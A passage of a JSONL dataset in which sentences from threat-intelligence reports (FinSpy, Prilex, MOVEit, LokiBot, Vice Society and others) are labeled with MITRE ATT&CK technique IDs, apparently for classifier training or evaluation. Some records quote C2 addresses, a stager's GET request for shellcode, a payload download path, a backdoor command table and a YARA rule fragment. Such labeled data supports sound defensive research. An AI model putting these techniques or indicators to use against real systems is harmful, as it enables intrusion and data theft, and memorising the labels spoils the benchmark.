were deleted [T1070.004].", "labels": ["T1005", "T1041", "T1070.004"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "*.* MINIXL The source IP addresses discovered belonged to two different ISP/VPN providers based in Hong-Kong.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "We discovered a couple of files that were executed by the following command: Start Ins64.exe E370AA8DA0 Jumper64.dat", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The identified C2 server was 185.161.211.97 TCP/80.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The adversaries made use of techniques very often observed in this kind of attack but also used distinctive new backdoors or variants of existing malware families.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Also putting it into perspective, and over time, it demonstrates the adversary is adapting skills and evolving the tools and techniques being used.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "We deliberately mention the term ‘malware’ instead of group.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The exploitation of Privilege Escalation Adversary used Rotten/Bad Potato to elevate user rights by abusing API calls in the Operating System.", "labels": ["T1068", "T1106"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "To control the ATMs, Prilex did patch in legitimate software for jackpotting purposes.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Afterwards, this valuable information could be used to clone cards and steal further funds from the bank’s clients.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Evolving into PoS malware Prilex has evolved out of ATM-focused malware into modular point-of-sale malware targeting payment systems developed by Brazilian vendors, the so-called EFT/TEF software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "As we noted in 2018, there are many similarities between their ATM and PoS versions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Visual Basic translates p-code statements into native code at runtime.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Sometimes the traffic is not even encrypted.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "SPSniffer: serial port sniffer allowing capture of not-encrypted traffic", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Later they switched to capturing traffic from real EMV-based chip card transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Xiello tool used by Prilex to automate transactions", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The table above shows the data collected from the malware.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[END GHOST] In a nutshell, this is the entire Prilex scheme: Prilex: from infection to cashout Backdoor module The backdoor has many commands, and aside from memory scanning common to memory scrappers, older (ATM) Prilex versions also featured a command to debug a process and peek into its memory.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Command Description Download Download a file from the remote server Shell Execute a specified command via CMD GetConfig Get the configuration file KillProcess Terminate a process SetStartup Add the process to a startup registry key StartSendScreen Start screen capture StopSendScreen Stop screen capture Uploader Module This module is responsible for checking the directory specified in the CABPATH parameter in the config file and sending all cab files generated from the stolen transactions to the server; the files are sent through an HTTP POST request.", "labels": ["T1041", "T1059.003", "T1071.001", "T1105", "T1113", "T1547.001"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[SNDCAB]CABHOST=C2CABPORT=80CABPAGE=/upload.phpCABPATH=c:\\cab The use of this module indicates a change in the group’s operation structure, since in the previous version, the collected information was sent to a server whose address was hardcoded into the stealer code, and the module used the same protocol as the backdoor.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Worth mentioning, too, is that our Digital Footprint Intelligence service found citations of a Prilex malware package sold through Telegram chats, in an underground channel, priced between €10,000 and $13,000.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Prilex’s success is the greatest motivator for new families to emerge as fast-evolving and more complex malware with a major impact on the payment chain.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "OneNote is a Microsoft digital notebook application that can be downloaded for free.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "The malicious document is delivered in either zip files or ISO images to the target through phishing emails.", "labels": ["T1566.001"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "We can use the official documentation for OneNote specification to make sense of all the bytes and its structuring.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Figure 6 OneNote Specification The Data Stream in OneNote, Say Hello To FileDataStoreObject To find the embedded data in a OneNote document, we need to learn more about the FileDataStoreObject which has a GUID value of {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC}.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Read N bytes (cbLength) after Reserved 8 bytes in FileDataStoreObject.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Each directory with GUID values represents a different document opened in the OneNote application.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "In campaign 1, the malware author used phishing emails to deliver malicious OneNote document either as attachment or a URL link to zip file containing the OneNote document.", "labels": ["T1566.001"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "Technical Analysis:", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "This will use powershell to download the payload and then execute it with rundll32.exe Figure 23 Base64 Decoded instructions in dropper IOCS Type Value Product Detected Campain 2 – Zip File 000fb3799a741d80156c512c792ce09b9c4fbd8db108d63f3fdb0194c122e2a1 Total Protection and LiveSafe VBS/Qakbot.a Campain 2 – OneNote File 2bbfc13c80c7c6e77478ec38d499447288adc78a2e4b3f8da6223db9e3ac2d75 Total Protection and LiveSafe One/Downloader.a Campain 2 – Powershell File b4dd3e93356329c076c0d2cd5ac30a806daf46006bdb81199355952e9d949424 Total Protection and LiveSafe PS/Agent.gs Campain 2 – OneNoteFile a870d31caea7f6925f41b581b98c35b162738034d5d86c0c27c5a8d78404e860 Total Protection and LiveSafe VBS/Qakbot.a Domains: starcomputadoras.com Conclusion: Malware authors are getting more sophisticated when it comes to hiding their payloads.", "labels": ["T1105", "T1140", "T1218.011"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"} {"sentence": "This vulnerability was announced by Progress Software Corporation on May 31, 2023 and has been assigned CVE-2023-34362.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "Mandiant has observed several POST requests made to the legitimate guestaccess.aspx file before interaction with the LEMURLOOT webshell, indicating SQLi attacks were directed towards that file.", "labels": ["T1071.001"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "LEMURLOOT can also steal Azure Storage Blob information, including credentials, from the MOVEit Transfer application settings, suggesting that actors exploiting this vulnerability may be stealing files from Azure in cases where victims are storing appliance data in Azure Blob storage, although it is unclear if theft is limited to data stored in this way.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "It then processes data received from the connecting client, parsing expected commands from the following HTTP header fields: X-siLock-Step1, X-siLock-Step2, and X-siLock-Step3. X-siLock-Step1 Command SequenceIf the value of the header field X-siLock-Step1 is -1, LEMURLOOT retrieves and returns the Azure system settings from MOVEit Transfer, including the configured Azure Blog storage account, and its associated key and container (AzureBlobStorageAccount, AzureBlobKey, and AzureBlobContainer).", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "Ongoing analysis of emerging activity may provide additional insights.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "Cyber criminals can also directly monetize stolen data via extortion operations, post it for sale on underground forums, or leverage it in secondary operations such as business email compromise.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "Detections The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "\" sample = \"c58c2c2ea608c83fad9326055a8271d47d8246dc9cb401e420c0971c67e19cbf\" date = \"2023/06/01\" version = \"1\" strings: $net = \"ASP.NET\" $human = \"Create_ASP_human2_aspx\" $s1 = \"X-siLock-Comment\" wide $s2 = \"X-siLock-Step3\" wide $s3 = \"X-siLock-Step2\" wide $s4 = \"Health Check Service\" wide $s5 = \"attachment; filename={0}\" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"} {"sentence": "The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\\users\\public\\mde.ps1", "labels": ["T1105"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "[T1016.001].", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Verify successful implementation of mitigations by executing the vendor supplied script Horizon_Windows_Log4j_Mitigations.zip without parameters to ensure that no vulnerabilities remain.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Over the course of our investigation, we found out that the backdoored installers are nothing more than first stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Both of them are encrypted with RC4.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "MBR infection Older machines that do not support UEFI can be infected through the MBR.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "This code hooks the 13h and 15h BIOS interrupts and then launches the original MBR.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The shellcode injects another trampoline shellcode in Explorer.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "During its normal course of operation the application connects to a C2 server, downloads and then launches a non-persistent component called the Pre-Validator.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "In total, it deploys more than 30 shellcodes.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Post-Validator collects information that allows it to identify the victim machine (running processes, recently opened documents, screenshots) and sends it to a C2 server specified in its configuration.", "labels": ["T1005", "T1057", "T1113"], "doc_title": "FinSpy unseen findings"} {"sentence": "The Metasploit stager connects to a configured C2 server using HTTPS for communication.", "labels": ["T1071.001"], "doc_title": "FinSpy unseen findings"} {"sentence": "In the case of 5EDF9810355DE986EAD251B297856F38, the stager sends the following GET request to the C2 server:GET https://45[.]86[.]163[.]138/blog/ASVn6Wg5VbnZxiG2PSVbaSa-G8PmI2ew2zFBQGEZbDUEmx9mE88dw0Zxmu-AeuheOJYJ1F6kTh6uA0UJDkfISp--k6bGNOuULoTSlr-AXwvWapnFLOe4QEpqY_pe3uoGC88y3JqiQifHlRRqcE9whGX_-X14BIv35Q HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Host: 45[.]86[.]136[.]138 Connection: Keep-Alive Cache-Control: no-cache The C2 server replies with a component that we called the Pre-Validator in response to the GET request.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Pre-Validator The Pre-Validator is a shellcode obfuscated with FinSpy Mutator.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Receives the next Security Shellcode from the C2 server and repeats the steps above.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The received shellcodes are protected with either FinSpy Mutator, an obfuscator resembling OLLVM or both these protectors.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "If detected, returns the hypervisor name (EAX = 0x40000000), otherwise returns zero bytes.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "30 Returns the list of top-level and child window class names not owned by the current or parent process.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "It: Creates a subdirectory (name differs between samples) in the C:\\ProgramData directory Drops two files in the newly created subdirectory: The Post-Validator Loader DLL", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Post-Validator Loader The Post-Validator Loader is a huge (3-9 MB) obfuscated DLL.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "Its main function is several megabytes in size, but despite that, its purpose is simple: read and execute a shellcode that is stored in the same directory as the Post-Validator Loader.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Sample scheduled task properties The launched shellcode decrypts the Post-Validator (it is stored in the same file with the shellcode) with RC4 (key: domain SID) and reflectively loads it.", "labels": ["T1053.005", "T1140"], "doc_title": "FinSpy unseen findings"} {"sentence": "The TLV (type-length-value) format to exchange data with C2 servers TLV type constants that are found in the Trojan The Trojan’s Cryptography Library to encrypt/decrypt exchanged data On startup, the Post-Validator verifies that it is not launched inside a sandbox environment.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "0x8070A0 Retrieve the list of files with data prepared for exfiltration.", "labels": ["T1083"], "doc_title": "FinSpy unseen findings"} {"sentence": "0x801530, 0x801630, 0x801730, 0x8018A0 Uninstall the Trojan.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "When the Post-Validator receives the Trojan Installer (which is a DLL), it: Reflectively loads and launches the Installer", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The C2 server operator manually analyzes data received from the victim and commands to either remove the Post-Validator or infect the machine with the Trojan.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Post-Validator is another obstacle for researchers.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Trojan Installer The Installer creates the working directory (path: %localappdata%\\Microsoft\\) and sets it as being accessed, modified and created a year earlier.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The timestamps of dropped files are set to one year earlier than the current date.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Trojan that consists of the Orchestrator, the Cryptography Library and plugins.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Installer When the victim executes the malicious app, an executable located at the .app/Contents/MacOS/installer path is launched.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "On startup, it checks the environment for debuggers and virtual machines.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "This file is executed on startup.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "It additionally sets the SUID and SGID bits of the /private/etc/logind file.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Installer Infection vectors used to deliver FinSpy for Linux are unknown.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "-f 1` ;; 2)", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "After dropping the files, the Installer sets up persistence.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The Trojan Overview of the Windows Trojan components The Windows version of the Trojan consists of the following components: The Hider, the first launched component.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "It is encrypted with a 256-byte RC4 key.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"} {"sentence": "which is unscrambled at runtime using addition, subtraction and XOR operations.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "An interesting fact about the Orchestrator is that it erases its PE structures and code of initialization procedures.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "Miscellaneous commands 0x8018A0", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"} {"sentence": "0x807DA0 Close the current C2 server connection.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "0xC File size.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "0x14 File body bytes.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "It serves as the VFS end marker.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "The ProcessWorm", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"} {"sentence": "The malware injects the ProcessWorm into all processes running on the system.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"} {"sentence": "The loader code behaves differently depending on the chosen injection type.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "When the process executable is loaded, ntdll.dll will call the NtTestAlert function.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"} {"sentence": "This code obtains the address of the destination API function by XOR-ing two numbers and then jumps to it.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"} {"sentence": "If the new process is not created with a DEBUG_PROCESS or a DEBUG_ONLY_THIS_PROCESS flag, the hooked process creation function clears a possible hook of the NtQueueAPCThread function and then uses it to create an APC procedure in the new process.", "labels": ["T1055", "T1106"], "doc_title": "FinSpy unseen findings"} {"sentence": "When the new process starts up, the ProcessWorm will be loaded with the help of the APC injection loader.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"} {"sentence": "They are placed in order to provide information to the plugins bundled with the malware.", "labels": [], "doc_title": "FinSpy unseen findings"} {"sentence": "KeyLogger (0x12) Livestream or record keystrokes SkypeStealer (0x14)", "labels": ["T1056.001"], "doc_title": "FinSpy unseen findings"} {"sentence": "Intercept Skype contacts, chats, calls and transferred files FileModificationRecorder (0x16) Record files which have been modified FileAccessRecorder (0x17) Record files which have been accessed PrintedFilesRecorder (0x18) Steal files which are printed by the victim FileDeletionRecorder (0x19) Record removed files ForensicLauncher (0x20) Gather forensic data by downloading and executing specific utilities.", "labels": ["T1005", "T1105"], "doc_title": "FinSpy unseen findings"} {"sentence": "(Windows only) VoIPRecorder, VoIPLite (0x21, 0x26) Eavesdrop on, and take screenshots during, online conversations.", "labels": ["T1113"], "doc_title": "FinSpy unseen findings"} {"sentence": "Profiling a Persistent Threat to the Education Sector url: https://unit42.paloaltonetworks.com/vice-society-targets-education-sector/ Executive Summary Vice Society is a ransomware gang that has been involved in high-profile activity against schools this year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Since then, Vice Society has used a variety of different ransomware strains including the following notable examples: In June 2021, Vice Society infected victims with HelloKitty.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Vice Society activity timeline (all leak site victim data).Fast forward to fall 2022, when we saw another wave of Vice Society activity across the education sector, as shown in Figure 2, which prompted a flood of advisories and reports about the group.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "The noticeable spikes in spring and fall give us a hint at some of their motivations.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "For years, sectors such as education and healthcare have suffered from many challenges in combating ransomware that have made them particularly attractive targets.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Chart version of global geographic distribution of organizations listed on Vice Society leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Looking at leak site data in more detail, the group appears to be targeting more educational organizations based in California, as shown in Figure 5.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Dwell Time", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "This represents the time elapsed between the date of initial compromise and the date of initial discovery.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Our observations of ransom demands by Vice Society across IR cases include: Initial demands by this actor could exceed $1 million.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "In July 2021, as described in our HelloKitty ATOM, Unit 42 came across a Linux (ELF) sample with the name funny_linux.elf that had a ransom note with contents similar to those of HelloKitty for Windows samples.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "In March 2021, HelloKitty’s Linux variant was also observed in the wild to target ESXi servers.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "K-12 institutions and universities do have an advantage when it comes to protecting themselves that too few organizations use to its full potential.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Vice Society’s use of multiple ransomware payloads across both Windows and Linux hosts shows that they’re continually evolving.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Masquerading Files dropped in the victim’s environment by Vice Society may have been altered to appear legitimate.", "labels": ["T1036.005"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Impair Defenses: Disable or Modify Tools Attempts to disable or modify endpoint security, such as Microsoft Defender, on compromised devices.", "labels": ["T1562.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "TA0010 Exfiltration T1020 Automated Exfiltration PowerShell scripts are used to exfiltrate data to external C2 servers.", "labels": ["T1041"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "T1048 Exfiltration Over Alternative Protocol Vice Society has used SMB in attempts to exfiltrate data.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Remote Access Software Tools such as SystemBC and proprietary backdoors are known to be used by Vice Society.", "labels": ["T1219"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"} {"sentence": "Palo Alto Networks customers receive protections from and mitigations for LokiBot information stealer C2 communication in the following ways: Table of Contents IntroductionLokiBot Malware AnalysisFirst", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "This threat then uploads this information to an attacker-controlled machine via HTTP POST.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Signs of BEC include fraudulent wire transfer requests, as well as spam or phishing emails sent from a customer’s corporate domain.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Malspam delivers a LokiBot sample.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Threat actors often increase their attack efforts during U.S. or other targeted nations' holidays.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Loader Opening the ISO file gives us access to a PE EXE file that is actually a loader.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Replicating the hashing function implementation allows us to retrieve the corresponding APIs in the appropriate library.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "The latter are the stealing functions.", "labels": ["T1552.001"], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Persistence In order to establish persistence on the targeted host, the malware starts by saving a copy of itself in a new folder in the %APPDATA% directory via the MoveFileExW or CopyFileW Windows API.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "This information includes the bot's version number (1.8) and can be found in the two bytes of the HTTP payload.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Exfiltrate screenshots (0x2c) Conclusion LokiBot malware has been used by attackers for many years.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "It takes a lot of effort for any security team to constantly monitor the behavior changes in the malware and add the necessary protections.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "The model is regularly updated with the latest C2 communication from various types of malware.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"} {"sentence": "Based on foundational work from the early 1990s that also led to the formalization of commitment schemes (see for example [CHP91] and [Ped91]), the (originally-named) PedersenHash function was recently put in the spotlight when Zcash researchers Sean Bowe and Daira Hopwood developed specific optimizations for its efficient instantiation in zk-SNARK circuits", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "In this blog post, we start by describing the Pedersen hash function, the security guarantees it provides and some of the underlying assumptions it relies on.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "These generators must be sampled uniformly at random, such that no relationship between them is known.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Split the message M into k chunks of r bits each: M = M1M2 … Mk.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Note that the output of the hash function defined above is a point on the curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "We refer to this encoding as the “identity” encoding (IdentityEncode() in the code below).The following code excerpt first specifies the chosen elliptic curve, picks two generators and defines a few helper functions before defining the GenericPedersenHash() function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "[G1, G2] def IdentityEncode(lebs): \"\"\" Encodes a binary string (assumed to be in little-endian bit order) to an integer \"\"\" return int(lebs[::-1], 2) def EncodeMessage(msg, encode_function): \"\"\" Helper function which encodes a message given a variable encode function \"\"\" return [encode_function(x) for x in msg] def GenericPedersenHash(generators, encoded_chunks): \"\"\" Helper function for computing the Pedersen hash of a message The hash is computed as a linear combination of of the generators with (already encoded) chunks used as scalar multiples \"\"\" assert len(generators)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "This security property and the definition of the hash function presented above have a few subtleties, which we now explore in more depth.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Equivalently, computing the binary representation of these quantities and hashing them using our toy Pedersen hash function also results in a collision, as shown in the code snippet below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "[42 + 139, 56 + 2 * 139] H3 = PedersenHash(colliding_message) assert H == H3 Recall that the output of the hash function is a point on the curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "For example, if using affine coordinates and a curve equation in Weierstrass form, one must ensure that the function cannot produce both P and -P if only the x-coordinate is outputted.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Specifically, they use a windowed scalar multiplication with an encoding where 3-bit chunks are mapped to elements of the range {-4, …, 4} {0}, instead of the range {0, …, 7}.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "The Zcash team proved (in Theorem 5.4.1.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "This ensures that there is no overflow of the scalar multiplier that would be “wrapped-around”, which would lead to multiple inputs mapping to the same output, a break of the injectivity requirement.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "= ⟨M1‘⟩ ⋅ G1 + ⟨M2‘⟩ ⋅ G2 = – H(M) = – (⟨M1⟩ ⋅ G1 + ⟨M2⟩ ⋅ G2)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Using Zcash’s encoding rules, hashing the message we’ve been using so far, and running our toy example implementation, we can proceed as follows: # ======================================= # # Vulnerability 2 - Related Generators # # ======================================= # #", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Vulnerability 3: Variable-length Input While implementations usually set a fixed upper bound to the size of the input that can be hashed, they also sometimes accept arbitrary-long (or short) inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Zcash’s definition of Pedersen hash is unequivocal regarding the collision-resistance of the hash function when using variable-length input, as stated on page 78 of [Zcash]: These hash functions are not collision-resistant for variable-length inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "In addition to issues that are exclusively related to padding, the ability to hash larger messages may break injectivity of the function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "The toy example in the Definition section also illustrated how hashing messages larger than the expected size may lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "September 15, 2022.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Cryptographically Strong Undeniable Signatures, Unconditionally Secure for the Signer.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "February 1991.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"} {"sentence": "Over the past several months, Microsoft has observed a mature subgroup of Mint Sandstorm, an Iranian nation-state actor previously tracked as PHOSPHORUS, refining its tactics, techniques, and procedures (TTPs).", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "This Mint Sandstorm subgroup has also continued to develop and use custom tooling in selected targets, notably organizations in the energy and transportation sectors.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Who is Mint Sandstorm? Mint Sandstorm is Microsoft’s new name for PHOSPHORUS, an Iranian nation-state actor.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "As with any observed nation state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Mint Sandstorm tradecraft Microsoft has observed multiple attack chains and various tools in compromises involving this Mint Sandstorm subgroup.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "The TTPs detailed below area sampling of new or otherwise notable tradecraft used by this actor.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "For example, Mint Sandstorm began exploiting CVE-2022-47966 in Zoho ManageEngine on January 19, 2023, the same day the POC became public.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Attack chain 2: As is the case in attack chain 1, the Mint Sandstorm subgroup uses Impacket to move laterally.", "labels": [], "doc_title": "Nationstate threat actor Mint 